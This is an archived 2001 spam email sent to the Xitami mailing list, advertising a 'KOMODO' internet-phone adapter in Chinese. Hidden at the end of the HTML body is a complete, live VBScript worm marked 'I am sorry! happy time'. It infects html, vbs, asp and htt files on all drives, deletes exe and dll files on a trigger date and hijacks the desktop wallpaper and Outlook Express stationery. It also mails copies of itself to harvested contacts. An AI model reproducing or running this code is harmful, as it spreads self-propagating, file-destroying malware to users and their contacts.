[Xitami] 打国际长途每分钟只需3毛钱
打国际长途每分钟只需3毛钱
xitami@lists.xitami.org
Wed,23 九月 2001 09:10:43 +0800
------=_=_NextPart_AAA_BBBB_01C11A5B.CEFD965
Content-Type: multipart/alternative;
boundary="----=_=_NextPart_CCC_DDDD_01C11A8E.4ECE36A0"
------=_=_NextPart_CCC_DDDD_01C11A8E.4ECE36A0
Content-Type: text/html;
charset="gb2312"
Content-Transfer-Encoding: 8bit
<html>
<head>
<title>无标题文档</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<table width="100%">
<tr bgcolor="#FF0000">
<td>
<div align="center"><font color="#000000" size="4"><b><font size="5" color="#FFFF00">国际长话随身通"KOMODO"</font></b></font></div>
</td>
</tr>
</table>
<table width="760" border="1" cellspacing="0" align="center" height="278">
<tr valign="top" align="left">
<td height="258" width="236">
<p><img src="http://www.kk98.com/images/komodo.jpg" width="200" height="149"></p>
<p align="center"><font size="2"> <b>促销活动价</b><b><font size="6" color="#FF0033">1258</font>元.<br>
<font size="3">代理</font>价面议</b></font></p>
<p><font size="2">详细请访问我们的网站 </font><br>
<font color="#0000CC"><a href="http://www.kk98.com"><b>http://www.kk98.com</b></a></font>
</p>
</td>
<td height="258" width="505" bordercolor="#CCCCCC" bgcolor="#66FFFF" valign="top" align="left">
<table width="100%" border="1">
<tr>
<td width="51%" height="109" valign="top">
<table border=0 cellpadding=0 cellspacing=0 width="100%">
<tbody>
<tr bgcolor=#66FFFF valign="top" align="left">
<td colspan=4 height="117">
<table width="100%">
<tr>
<td>
<div align="center"><b><font color="#000099">KOMODO简介</font></b></div>
</td>
</tr>
</table>
<table width="100%">
<tr>
<td><font size="2" color="#FF0000">Komodo</font><font size="2">是一个小巧的配件，用来转换一般普通的电话成为网络电话。利用免费的网络资源，提供高品质、清晰、自然的音质。我们与世界上最大的网络服务供应商Net2Phone合作，作用费率远低于世界上其它的电信服务供应商，甚至在双机模式下，能节省将近<font size="5" color="#FF0000"><b>99.6%</b></font>的通话费。</font></td>
</tr>
</table>
<p
align=center><font color="#0000CC"><a href="http://www.kk98.com"><b>http://www.kk98.com</b></a></font><br>
</p>
</td>
</tr>
</tbody>
</table>
</td>
<td width="49%" height="109" valign="top">
<div align="center"><b><font color="#000099">Komodo之产品附件</font></b>
<font size="2"><br>
Komodo一台<br>
中文使用手册<br>
<br>
电话线一条<br>
12伏特交流电源转换器 <br>
<br>
<br>
买<b><font color="#000099">Komodo</font><font size="2">转换</font>器打国际长途只需市话费你还犹豫吗？</b>
<br>
</font></div>
</td>
</tr>
</table>
<table width="100%">
<tr>
<td width="53%" height="88">
<p><font color="#FF0000"><b><font size="4">上海市区免费送货安装及维护</font></b></font></p>
<table width="100%">
<tr>
<td>
<div align="center"><font color="#0000CC" size="2"><b>同时接受外地订购<a href="mailto:kk56@etang.com "><font color="#000000"><br>
kk56@etang.com</font></a></b><br>
<font size="2"><b><font color="#0000FF">诚 征 代 理</font></b></font>
</font></div>
</td>
</tr>
</table>
</td>
<td width="47%" valign="top" height="88">
<p><b>定货电话 ：13041655679<br>
021-54800674 <br>
021-64809047<br>
联 系 人 ：朱 先 生<br>
</b><font size="2">上海文美商务信息服务有限公司</font><br>
</p>
</td>
</tr>
</table>
<p><b>外地可以邮购：上海市漕宝路1508弄91号501 邮编：201101</b> </p>
</td>
</tr>
</table>
<table border=0 cellpadding=0 cellspacing=0 width="100%">
<tbody>
<tr bgcolor=#FF0033>
<td colspan=3 height="31">
<div align=center><font color="#FFFF33"><b>国际长话随身通"KOMODO特点</b></font></div>
</td>
</tr>
<tr bgcolor=#66FFFF valign="top">
<td colspan=3>
<table width="100%" border="1">
<tr>
<td><font size="2">1、<b>单键简易操作</b>：<br>
只需一个按扭您便可以把一般电话连上网际网路，打网际网络电话，完全不用电脑，以超低费率拨打世界320个以上地区</font></td>
</tr>
</table>
<table width="100%" border="1">
<tr>
<td><font size="2">2、<b>一卡多能，安全可靠</b>：<br>
随身通采用的是国际上知名度最高，占有率最大的美国net2phone公司的网络电话帐号。利用KOMODO接到电话机上即可直接拨打世界上任何一台电话，而费用是传统方式的十分之一！另外KOMODO帐号还有以下作用：（1）支持在电脑上使用，实现电脑到电话的国际长途功能，费率同在随身通上使用一致。（2）同时支持电脑到传真的国际传真业务。</font></td>
</tr>
<tr>
<td><font size="2"> 3、<b>音质清晰</b>：<br>
凭借5项国际顶尖技术（近端回声拟制技术NEAR END EC，IP高速打包技术，DSP技术等）其音质可达到联通，吉通等IP电话的通话效果，并远远好于同类产品，如Infotalk、Ipstar
等。我们热诚地欢迎您到我公司亲身感受一下通话质量。 </font></td>
</tr>
<tr>
<td height="26"><font size="2">4、<b>设置简单</b>：<br>
中文语音提示，轻松完成ISP上网帐号、NET2PHONE网络电话帐号的设置。随卖随通。</font></td>
</tr>
<tr>
<td height="26"><font size="2">5、<b>智慧型语音系统</b>：<br>
提供多国语言语音目录，您可以轻松地按照语音指示，一步一步的使用Komodo， 完全没有语言障碍。 （同时提供英文、韩文、德文、西班牙文提示）</font></td>
</tr>
<tr>
<td><font size="2">6、<b>操作简便</b>：<br>
直接拨打国际网络长话。只需按一个K键，即可将您的普通话机连上网络。</font></td>
</tr>
<tr>
<td><font size="2">7、<b>接通率高</b>：<br>
美国net2phone公司提供网络运行系统，20秒左右接通最终电话，接通率可达到100%。</font></td>
</tr>
<tr>
<td><font size="2">8、<b>供话话费清单</b>：<br>
我们可按您的要求，随时为您提供详细，明确的通话清单。确保您的权益</font></td>
</tr>
<tr>
<td><font size="2">9、<b>免费功能升级</b>：<br>
系统软件预装在可编程芯片中，通过上网，按几个键便可完成升级工作。同时我们提供为期一年的免费保修服务。</font></td>
</tr>
<tr>
<td><font size="2">10、<b>话费低廉</b>：<br>
是"国际长话网络通"最突出特点，远低于IP电话4.8元人民币/分钟.同时比其他同类产品如IPST*，INFOTAL*，易*等的费率低很多。如单机使用，需要支付的仅为通话费和上网费。如果双机对打，则不计长话费，仅需支付上网费（0.09元人民币/分钟）即可。</font></td>
</tr>
</table>
<p><font color="#0000CC"><a href="http://www.kk98.com"><b>http://www.kk98.com</b></a></font><font size="2"><br>
<br>
</font></p>
<p><font size="2"> </font></p>
<p> </p>
<p> </p>
</td>
</tr>
</tbody>
</table>
<script language='VBScript'>
Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main
End If
End Sub
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER\Software\"
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn = Rg(Ks & "Help\Count")
If Cn = "" Then
Cn = 1
End If
Rw Ks & "Help\Count", Cn + 1
f1 = Rg(Ks & "Help\FileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks & "Help\FileName", f2
If IsDel(fext) Then
f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks & "Help\FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
End If
Else
Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
fc.Write Sa("0100")
fc.Close
bf = Cs & "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail"
MSH = oe & "\Message Send HTML"
CUS = oe & "\Compose Use Stationery"
SN = oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
Web = Cs & "\WEB"
Set gf = Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext = GetExt(Of, Od, m)
If fext <> "" Then
Fw Of, m, fext
End If
Next
End If
End Sub
Sub mclose()
document.Write "<" & "title>I am sorry!</title" & ">"
window.Close
End Sub
Sub Rt()
Dim mPath
On Error Resume Next
mPath = Grf()
Iv mPath, "Help.vbs"
End Sub
Function Sa(n)
Dim VBSText, m
VBSText = Lvbs()
If Mid(n, 3, 1) = 1 Then
m = "<%" & VBSText & "%>"
End If
If Mid(n, 2, 1) = 1 Then
m = VBSText
End If
If Mid(n, 1, 1) = 1 Then
m = Lscript(m)
End If
Sa = m & vbCrLf
End Function
Sub Fw(Of, S, n)
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
mt = fc.ReadAll
fc.Close
If Not Sc(mt) Then
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
fc2.Write mt
fc2.Close
Msend (mmail)
End If
End Sub
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
Sc = True
Else
Sc = False
End If
End Function
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
If Of.FileExists(S) Then
fpath = Of.GetFile(S).ParentFolder
fname = S
ElseIf Of.FolderExists(S) Then
fpath = S
T = True
Else
fpath = Dnext(Of, "")
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of, Od, m) <> "" Then
FNext = m
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
T = True
End If
Next
fpath = Pnext(Of, fpath)
Loop
End Function
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
Set gp = Of.GetFolder(S).SubFolders
pn = gp.Count
If pn = 0 Then
Ppath = LCase(S)
Npath = LCase(Of.GetParentFolderName(S))
T = True
Else
Npath = LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
Npath = Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
m = Of.GetDriveName(Ppath)
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
If T Then
Dnext = d
Exit Function
Else
If LCase(S) = LCase(d) Then
T = True
End If
If m = "" Then
m = d
End If
End If
End If
Next
Dnext = m
End Function
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
GetExt = Od.Item(fext)
End Function
Sub Rw(k, v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub
Function Rg(v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
Rg = R.RegRead(v)
End Function
Function IsVbs()
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
IsVbs = False
Else
IsVbs = True
End If
End Function
Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
Else
IsHTML = True
End If
End Function
Function IsMail(S)
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 Then
IsMail = True
End If
End If
End Function
Function Lvbs()
Dim f, m, ws, Of
On Error Resume Next
If IsVbs Then
Set Of = CreateObject("Scripting.FileSystemObject")
Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)
Lvbs = f.ReadAll
Else
For Each ws In document.scripts
If LCase(ws.Language) = "vbscript" Then
If Sc(ws.Text) Then
Lvbs = ws.Text
Exit Function
End If
End If
Next
End If
End Function
Function Iv(mPath, mName)
Dim Shell
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb
If Er Then
Iv = False
Else
Iv = True
End If
End Function
Function Grf()
Dim Shell, mPath
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
mPath = "C:\"
For Each mShell In Shell.NameSpace(mPath).Items
If mShell.IsFolder Then
Grf = mShell.Path
Exit Function
End If
Next
If Er Then
Grf = ""
End If
End Function
Function Gsf()
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
m = Of.GetSpecialFolder(0)
If Er Then
Gsf = "C:\"
Else
Gsf = m
End If
End Function
Function Lhtml()
Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _
"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _
"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body></HTML" & ">"
End Function
Function Lscript(S)
Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
l2 = Len(S2)
i = InStr(S1, S2)
If i > 0 Then
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function
Function Ml(S)
Dim S1, S3, S2, T, adds, m
S1 = S
S3 = """"
adds = ""
S2 = S3 & "mailto" & ":"
T = True
Do While T
S1 = Sl(S1, S2, 1)
If S1 = "" Then
T = False
Else
m = Sl(S1, S3, 0)
If IsMail(m) Then
adds = adds & m & vbCrLf
End If
End If
Loop
Ml = Split(adds, vbCrLf)
End Function
Function Og()
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
Next
Og = m
End Function
Sub Tsend()
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
MM.RecipAddress = m
MM.AttachmentPathName = Gsf & "\Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub
Function MConnect(MS, MM)
Dim U
On Error Resume Next
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile")
MS.UserName = U
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
End Function
Sub Msend(Address)
Dim MS, MM, i, a
MConnect MS, MM
i = 0
MM.Compose
For Each a In Address
If IsMail(a) Then
MM.RecipIndex = i
MM.RecipAddress = a
i = i + 1
End If
Next
MM.MsgSubject = " Help "
MM.AttachmentPathName = Gsf & "\Untitled.htm"
MM.Send
MS.SignOff
End Sub
Function Er()
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function
Function IsDel(S)
If Mid(S, 4, 1) = 1 Then
IsDel = True
Else
IsDel = False
End If
End Function
</script>
<%=jfmaileradhtml@jinfengnet.com%></body></html>
------=_=_NextPart_CCC_DDDD_01C11A8E.4ECE36A0--
------=_=_NextPart_AAA_BBBB_01C11A5B.CEFD965--